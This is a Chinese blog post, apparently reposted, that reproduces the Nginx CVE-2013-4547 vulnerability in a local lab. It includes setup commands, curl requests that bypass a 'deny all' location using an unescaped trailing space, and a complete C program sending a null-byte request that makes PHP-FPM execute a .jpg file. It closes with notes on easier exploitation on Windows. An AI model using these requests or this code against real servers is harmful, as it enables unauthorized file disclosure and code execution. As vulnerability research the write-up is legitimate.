欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

Nginx漏洞CVE-2013-4547复现

程序员文章站 2022-05-22 17:26:57
...
每一个漏洞的面世都是软件开发者的无意和黑客/白客的有意的共同结晶,它们之中大多数的诞生都是在某位或某几位程序猿经历千辛万苦,体验重重空虚寂寞冷之后的产物,以至于每一个漏洞都是如此的身价不菲。能与这些高富帅们勾搭上是我一直以来的梦想,可惜当前能力和时间有限,只能拔一拔它们的裤腿,瞅准了一把抱住,再深情的来一句:土豪,我们做朋友吧。

今天出场的这位高富帅是CVE-2013-4547,属于Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本中存在的安全漏洞,可以看到其影响面非常大,不愧为土豪大佬的身份。具体来说是Nginx程序验证包含未转义空格字符的请求URIs时存在逻辑错误,远程攻击者可以利用该漏洞绕过既定的配置限制,导致信息泄露、系统文件被修改、性能下降或中断资源访问。

漏洞危害利用是黑客针对软件的瑕疵,构造异常的运行环境,让软件的瑕疵暴露出来,从而获取非法利益。我个人认为漏洞危害利用有三个要素:

1,软件存在漏洞(瑕疵):所有软件都会有漏洞,如果没有漏洞,那说明还没发现,如果还足够称得上是软件的话。

2,构造漏洞暴露的条件:这个条件的构造应该是非常苛刻的,非常难的,如果很容易,那可能需要考虑一下,这个是否是后门,而不是漏洞。或者,好吧,也许真有这种情况,毕竟现在在培训学校里学习三天就开始写软件的人也有大把。

3,不当得利:我有八字真言:“玩玩而已,何必当真。”,一般人我不告诉他,得此精髓的人都被关在小黑屋里捡肥皂去了。

不说废话,下面看看如何借助CVE-2013-4547来干些坏事。纯理论学习啊,后果自负啊!说说可以啊,不要动手啊!

第一部分:信息泄漏,即通过该漏洞访问保护的文件。1,首先得找个有该漏洞的Nginx WebServer,我这里在CentOS 6.2环境下随便安装一个吧,

[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz[root@localhost gqk]# cd nginx-1.4.0[root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module[root@localhost nginx-1.4.0]# make & make install

configure的选项没什么特别的,加上debug只是方便调试,去除rewrite_module是因为我现在的环境没有pcre库,因为不影响这个漏洞,所以直接去掉了。

2,启动Nginx看看是否基本ok

[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

通过wget访问http://127.0.0.1

[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1

嗯,ok。

3,构造环境

根据注1的介绍,

a)我们需要修改Nginx配置文件,增加一个保护目录,该目录不让用户访问:

location /protected/ {        deny all;    }

修改了配置,所以需要重启Nginx:/usr/local/nginx/sbin/nginx -s reload

b)需要web目录下有一个带有空格的文件夹:

[root@localhost html]# ls -F50x.html  dir1/  dir 2/  dir3 /  index.html  protected/[root@localhost html]# ls protectedsec.html

为了对比测试,我建立了四个文件夹(注意上面第一条命令,我给ls加了-F参数,所以如果是文件夹,它会在后面带上斜杠):

dir1:没有任何空格

“dir 2″:中间有个空格

“dir3 “:末尾有个空格

protected:保护目录,同时该目录下还有个sec.html的文件

c)构造请求构造的请求uri里的空格不能被编码,而浏览器或wget都会自动把空格编码为%20,因此我改用curl。

4,对比测试a)直接请求sec.html,当然是被拒绝的,因为我们配置了保护protected目录的策略:

[root@localhost ~]# curl "http://127.0.0.1/protected/sec.html"403 Forbidden

403 Forbidden


nginx/1.4.0
1b)构造特殊请求:1[root@localhost ~]# curl http://127.0.0.1/dir1/../protected/sec.html403 Forbidden

403 Forbidden


nginx/1.4.0
[root@localhost ~]# curl "http://127.0.0.1/dir 2/../protected/sec.html"403 Forbidden

403 Forbidden


nginx/1.4.0
[root@localhost ~]# curl "http://127.0.0.1/dir3 /../protected/sec.html"

This is a secret document.

看到了吗?第三个构造的请求成功突破Nginx的保护策略而获取到被保护目录下的文件内容。

5,实际可应用程度

从上面的描述可以看到,要触发这个漏洞需要好几个条件:

a)Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本。这个容易有,毕竟涉及的版本有这么多。

b)需要WebServer管理员对目录的保护采用这种普通字符匹配的策略,如果是其他保护策略(比如^~或~*),则条件满足失败。因特网站点千千万万,通过搜索肯定还是有这样配置的Nginx WebServer站点。

c)需要文件名末尾带有空格的文件夹,其他形式失败。怎么做?通过WebServer里站点提供的上传服务(如果有的话),上传对应的文件夹或压缩文件(如果服务器有提供解压功能)到服务器,然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个,有点难,现在的Web应用应该都会对高危文件(上传文件)做处理,比如改名是起码的。但是,慢慢的抠吧,成功就在不远处,如你的女神一般,永远那么飘渺。。。不过,也有逆袭的,是吧。。。

第二部分:未授权执行,即让Php引擎执行非php文件。

1,根据注1的内容,上面介绍的只是CVE-2013-4547的其中一个应用,即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行,下面以php脚本为例,具体来看。

配置Nginx+Php环境,Php现在很流行。

下载php源码进行安装

[root@localhost gqk]# tar xf php-5.5.33.tar.bz2[root@localhost gqk]# cd php-5.5.33[root@localhost php-5.5.33]# ./configure --enable-fpm[root@localhost php-5.5.33]# make[root@localhost php-5.5.33]# make install

注意configure带的选项,需要打开fpm,如果要开启其他功能,比如mysql,请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。准备配置文件:

[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini[root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf[root@localhost php-5.5.33]# php-fpm[root@localhost php-5.5.33]# netstat -natp | grep 9000

如果可以grep到对应的php-fpm进程,说明php安装初步ok了。

需要重新编译Nginx,让它支持PCRE。

首先从http://www.pcre.org/下载pcre-8.38.tar.gz,然后三板斧./configure & make & make install安装。

如果后门Nginx出现找不到pcre库的报错,比如:

/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory

那么可能需要在PCRE的configure时指定lib目录到/usr/lib64:

./configure –prefix=/usr –libdir=/usr/lib64

其次,重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。修改Nginx配置文件,加上PHP支持:

location ~ \.php$ {    root html;    fastcgi_pass 127.0.0.1:9000;    fastcgi_index index.php;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;    include fastcgi_params;}

最后,写个简单的test.php测试一下,

访问确保php正常解析。

2,构造环境

a)在默认配置下,Php-fpm只让php引擎执行php后缀的文件,因此第一个条件是要修改配置文件

/usr/local/etc/php-fpm.conf

把里面的limit_extensions设置为空。

; Note: set an empty value to allow all extensions.; Default Value: .phpsecurity.limit_extensions =

b)在web目录下新增一个文件”cve.jpg “(注意这是一个末尾带有空格的文件),内容为php代码:

c)我们构造一个伪造请求,请求的地址为”/cve.jpg \0.php”,注意两点:

i)其中的空格没有编码

ii)\0是一个字符,是零,是字符串的结束字符。

3,测试

伪造请求,因为我们要伪造的请求里包含有字符串的结束字符\0,因此curl命令貌似是不能用了,至少我暂时是还不知道怎么传递这个\0给curl命令,可能有办法,需要查手册。

不过因为我之前研究Nginx时,写过这样的Http请求代码来调试Nginx逻辑,所以先直接用这个可行的办法,代码如下:

/** * gcc -Wall -g -o bogus_request bogus_request.c */#include #include #include #include #include #include #include #include #include char req_header[] = "GET /cve.jpg \0.php HTTP/1.1\r\nUser-Agent: curl/7.19.7\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";#define MAX_DATA_LEN (1024)char res_data[MAX_DATA_LEN];int main(int argc, char *const *argv){      int sockfd;      struct sockaddr_in server_addr;      if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) {             fprintf (stderr, "Socket error,%s\r\n", strerror (errno));             return -1;      }          bzero (&server_addr, sizeof (server_addr));      server_addr.sin_family = AF_INET;      server_addr.sin_port = htons (80);          if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) {             fprintf (stderr, "Bad address:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          if (connect (sockfd, (struct sockaddr *) (&server_addr),             sizeof (struct sockaddr)) == -1) {             fprintf (stderr, "Connect Error:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          write (sockfd, req_header, sizeof(req_header) - 1);	  	  for (;;) {             read (sockfd, res_data, MAX_DATA_LEN);             printf ("res:%s", res_data);      }      close (sockfd);      return 0;}

编译执行看结果:

[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0[root@localhost ~]# ./bogus_request res:HTTP/1.1 200 OKServer: nginx/1.4.0Date: Wed, 23 Mar 2016 10:04:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.3312Illegal execution.0

可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg \0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行,而Php引擎在查找定位文件”cve.jpg \0.php”时又被\0截断,导致最终执行的脚本文件是”cve.jpg “。

4,实际可应用程度因为同样要构造文件名末尾带空格的文件,因此这个漏洞其实难以被真正利用。原因在前面提到过了,不再多说。不过这只是Linux下的情况,那Windows环境下又如何呢?

第三部分:Windows环境

这个漏洞在Windows环境下的利用价值就大大增强了,因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时,会自动忽略对应文件名后的空格,也就是:

read “a.txt ” -> 实际读取的是文件”a.txt”

write “b.txt ” -> 实际写的是文件”b.txt”

下面是测试代码(VC6下测试,注2):

#include "stdafx.h"#include  int main(int argc, char* argv[]){	HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0,		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 	if (hFile ==INVALID_HANDLE_VALUE) {		printf("openfailed!");	} else {		printf("fileopened");	}	CloseHandle(hFile);	return 0;}

注意程序里用的是”a.txt “,而我们准备一个”a.txt”文件在对应路径下,上面的代码也可以正常打开,输出”fileopened”。事实上,在Windows的文件管理里,新建文件时,在文件名后带上空格,敲回车后生成的新文件文件名是没有带空格的,即被自动过滤掉了。也许就是和上面同样的原因。

正因为在Windows下去掉了这个最困难的前置条件,所以该漏洞的可利用程度就大大提高了。

第四部分:Nginx相关漏洞代码分析暂略,不想写了,囧。

注1:http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222注2:http://drops.wooyun.org/tips/2006

转载请保留地址: http://www.lenky.info/archives/2016/04/2488或 http://lenky.info/?p=2488

备注:如无特殊说明,文章内容均出自Lenky个人的真实理解而并非存心妄自揣测来故意愚人耳目。由于个人水平有限,虽力求内容正确无误,但仍然难免出错,请勿见怪,如果可以则请留言告之,并欢迎来 信讨论。另外值得说明的是,Lenky的部分文章以及部分内容参考借鉴了网络上各位网友的热心分享,特别是一些带有完全参考的文章,其后附带的链接内容也许更直接、更丰富,而我只是做了一下归纳&转述,在此也一并表示感谢。关于本站的所有技术文章,欢迎转载,但请遵从 CC创作共享协议,而一些私人性质较强的心情随笔,建议不要转载。

法律:根据最新颁布的《信息网络传播权保护条例》,如果您认为本文章的任何内容侵犯了您的权利,请以 Email或书面等方式告知,本站将及时删除相关内容或链接。